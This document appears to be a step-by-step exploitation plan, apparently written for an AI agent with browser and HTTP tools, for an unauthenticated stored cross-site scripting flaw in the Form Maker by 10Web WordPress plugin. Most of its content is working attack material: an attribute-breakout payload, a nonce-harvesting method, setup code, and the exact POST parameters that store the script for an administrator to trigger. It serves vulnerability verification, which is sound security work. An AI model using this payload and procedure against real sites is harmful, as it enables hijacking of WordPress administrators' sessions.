Form Maker by 10Web <= 1.15.40 - Unauthenticated Stored Cross-Site Scripting via Matrix Field Text Box

This research plan outlines the steps required to demonstrate the Stored Cross-Site Scripting (XSS) vulnerability in the Form Maker by 10Web plugin (version <= 1.15.40).

1. Vulnerability Summary

• Vulnerability: Unauthenticated Stored XSS.
• Component: Matrix Field (Text Box input type) during form submission.
• Vulnerable Sink: The admin Submissions view renders saved form data without proper output escaping.
• Sanitization Failure: The plugin uses sanitize_text_field() on the Matrix field input. While this strips HTML tags (like <script>), it does not strip double or single quotes. If the submission data is subsequently rendered inside an HTML attribute in the admin panel (e.g., <input value="...">), an attacker can use quotes to break out of the attribute and inject event handlers like onfocus or onmouseover.

2. Attack Vector Analysis

• Endpoint: The frontend page where a form is embedded or the WordPress AJAX endpoint (admin-ajax.php).
• Action: Form submission.
• Authentication: None (Unauthenticated).
• Parameter: The POST parameter corresponding to the Matrix field cell. In Form Maker, these are typically named following the pattern wdform_{FIELD_ID}_{FORM_ID}[].
• Payload: 1" onfocus="alert(document.domain)" autofocus="
  • sanitize_text_field will leave this payload intact because it contains no HTML tags.
  • When rendered in the admin view: <input ... value="1" onfocus="alert(document.domain)" autofocus="" ...>

3. Code Flow

1. Entry Point: An unauthenticated user submits a form. The frontend/controllers/form_maker.php handles the request in the display() or specific AJAX method.
2. Data Processing: The controller calls FMModelForm_maker::savedata(). (Inferred from frontend/controllers/form_maker.php line 77).
3. Sanitization: Inside savedata(), the plugin iterates through submitted fields. For Matrix fields, it applies sanitize_text_field() to the cell values.
4. Storage: The sanitized values are stored in the {prefix}formmaker_submits table.
5. Admin View: An administrator navigates to the "Submissions" page (wp-admin/admin.php?page=submissions_fm).
6. Data Retrieval: admin/models/Submissions_fm.php retrieves the submission data via get_labels_parameters() or similar.
7. XSS Trigger: The admin view (likely a PHP file in admin/views/) renders the Matrix data into the DOM. Because it lacks esc_attr() or esc_html(), the payload breaks out of its attribute and executes JavaScript in the admin's session.

4. Nonce Acquisition Strategy

The Form Maker plugin uses a nonce to protect form submissions.

• Nonce Name: The field name is defined as fm_form_nonce in the WDFM class (form-maker.php, line 52).
• Nonce Action: The action is typically fm_form_nonce concatenated with the form ID.
• Acquisition:
  1. Create a form and a page containing that form's shortcode.
  2. Navigate to the page using browser_navigate.
  3. Extract the nonce value from the hidden input field: input[name="fm_form_nonce"].

5. Test Data Setup

To exploit this, we must first have a form with a Matrix field configured as a "Text Box".

Step 1: Create a Form with a Matrix Field
Use wp eval to programmatically create a form.

global $wpdb;
$table = $wpdb->prefix . 'formmaker';
$fields_json = json_encode([
    [
        'type' => 'type_matrix',
        'id' => '1',
        'label' => 'Vulnerable Matrix',
        'rows' => ['Row1'],
        'columns' => ['Col1'],
        'matrix_type' => 'text', // Critical: Must be 'text'
        'required' => '0'
    ]
]);

$wpdb->insert($table, [
    'title' => 'XSS Test Form',
    'form_fields' => $fields_json,
    'published' => 1,
    'form_options' => '{}'
]);
$form_id = $wpdb->insert_id;
echo "Created Form ID: $form_id";

Step 2: Create a Page to Host the Form

wp post create --post_type=page --post_title="Contact Form" --post_status=publish --post_content='[form_maker id="REPLACE_WITH_FORM_ID"]'

6. Exploitation Strategy

1. Navigate to the Form Page: Use browser_navigate to the created page URL.
2. Extract Nonce:

   // Use browser_eval
   const nonce = document.querySelector('input[name="fm_form_nonce"]').value;
   const formId = document.querySelector('input[name="form_id"]').value;
   

3. Submit the Malicious Entry:
   Send a POST request to the same page URL using http_request.
   • Method: POST
   • Content-Type: application/x-www-form-urlencoded
   • Payload Parameters:
     • form_id: {FORM_ID}
     • fm_form_nonce: {NONCE}
     • wdform_1_{FORM_ID}[0][0]: 1" onfocus="alert(document.domain)" autofocus="
     • wdform_id_list: 1 (The ID of the matrix field)
     • save_or_submit{FORM_ID}: submit

7. Expected Results

• The form submission will be successful.
• The payload 1" onfocus="alert(document.domain)" autofocus=" will be stored in the element_value column of the {prefix}formmaker_submits table.
• When an admin logs in and views the submissions for this form, the browser will execute alert(document.domain) automatically because of the autofocus attribute triggering the onfocus event.

8. Verification Steps

1. Database Check:

   wp db query "SELECT element_value FROM wp_formmaker_submits WHERE form_id=1 ORDER BY id DESC LIMIT 1"
   

   Confirm it contains the onfocus payload.
2. Admin View Verification:
   Log in as admin and navigate to: /wp-admin/admin.php?page=submissions_fm&form_id=1.
   The agent can use browser_navigate as an admin and check for the presence of the alert or the injected attribute in the page source.

9. Alternative Approaches

If the wdform_1_{FORM_ID}[0][0] parameter name is incorrect (Form Maker field naming can vary by version):

1. Use browser_eval to inspect the name attribute of the Matrix field input in the frontend before submitting.
2. Look for a global JS object like fm_objectL10n which might contain form metadata.
3. Try submitting to admin-ajax.php with action=formmaker_submit.